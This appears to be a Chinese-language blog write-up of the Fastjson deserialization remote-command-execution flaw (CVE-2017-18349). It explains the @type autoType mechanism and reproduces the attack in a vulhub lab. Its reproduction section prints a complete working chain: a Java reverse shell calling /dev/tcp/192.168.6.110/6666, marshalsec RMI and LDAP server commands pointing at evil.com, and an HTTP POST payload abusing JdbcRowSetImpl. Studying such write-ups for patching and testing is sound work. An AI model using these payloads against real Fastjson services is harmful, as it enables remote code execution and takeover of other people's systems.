Fastjson 远程命令执行漏洞(CVE-2017-18349)

漏洞概述

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

参考链接:

序列化和反序列化

对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。

Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作:

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse

反序列化时不指定特定的类,那么Fastjson就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。

Fastjson中的@type

使用Fastjson序列化对象的时候,如果toJSONString()方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串。

1
{"age":18,"name":"Faster"}

如果想把JSON字符串反序列化成Java Object,可以使用parse()方法。该方法默认将JSON字符串反序列化为一个JSONObject对象。

1
2
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}

将JSON字符串反序列化为原始的类(两种)

  1. 序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一并序列化:

1
2
3
4
5
6
7
8
9
Person person = new Person("Faster",18);

//序列化时添加额外属性
String jsonType = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(type);


输出,Fastjson在JSON字符串中添加了一个@type字段,用于标识对象所属的类
{"@type":"fastjson.Person","age":18,"name":"Faster"}

在反序列化该JSON字符串的时候,parse()方法就会根据@type标识将其转为原来的类。

1
2
3
4
5
6
String jsonText = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parse(jsonText));


//结果如下
Person@4459eb14
  1. 反序列化的时候,在parseObject()方法中手动指定对象的类型
1
2
3
4
5
6
7
8
bject o3 = JSON.parseObject(jsonText,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);


//输出
fastjson.Person
fastjson.Person@1e6d1014

Fastjson分析

序列化:toJSONString()方法实际是通过调用getter来获取对象的属性值的,根据这些属性值来生成JSON字符串。

反序列化:parse()先调用@type标识的类的构造函数,然后再调用setter给对象赋值;parseObject()方法会同时调用setter和getter。

源码分析

DefaultJSONParser#parseObject方法中,通过scanSymbol()方法来解析出表示符 @type

image-20240201172029725

反射加载@type

image-20240201195551574

反射加载的类的时候会对类进行黑名单检查,黑名单中有Thread类

image-20240201200115379

然后会在反射获取的方法中循环遍历寻找特定的setter和getter。条件如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

反序列化漏洞

fastjson依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。

demo

Calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.IOException;

public class Calc {
public String calc;

public Calc() {
System.out.println("调用了构造函数");
}

public String getCalc() {
System.out.println("调用了getter");
return calc;
}

public void setCalc(String calc) throws IOException {
this.calc = calc;
Runtime.getRuntime().exec("calc");
System.out.println("调用了setter");
}
}

fastjsonTestCalc.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class fastjsonTestCalc {
public static void main(String[] args) {
String jsonCalc = "{\"@type\":\"Calc\",\"calc\":\"Faster\"}";
System.out.println(JSON.parseObject(jsonCalc));
}
}

image-20240201202542836

漏洞复现

CVE-2017-18349

环境:vulhub

image-20240324201602077

目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令

ReverseShell.java编译成class并开启http服务(python -m http.server 80)

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ReverseShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.6.110/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

image-20240325133120899

借助marshalsec项目(测试Jdk8u211),启动一个RMI服务器,监听9999端口,并制定加载远程类ReverseShell.class

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#ReverseShell" 9999

image-20240325133052275

向靶场服务器发送Payload,带上RMI的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/ReverseShell",
"autoCommit":true
}
}

image-20240325133148708

Final

image-20240325133308910

LDAP

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://evil.com/#ReverseShell" 9999

image-20240325135737374

⬆︎TOP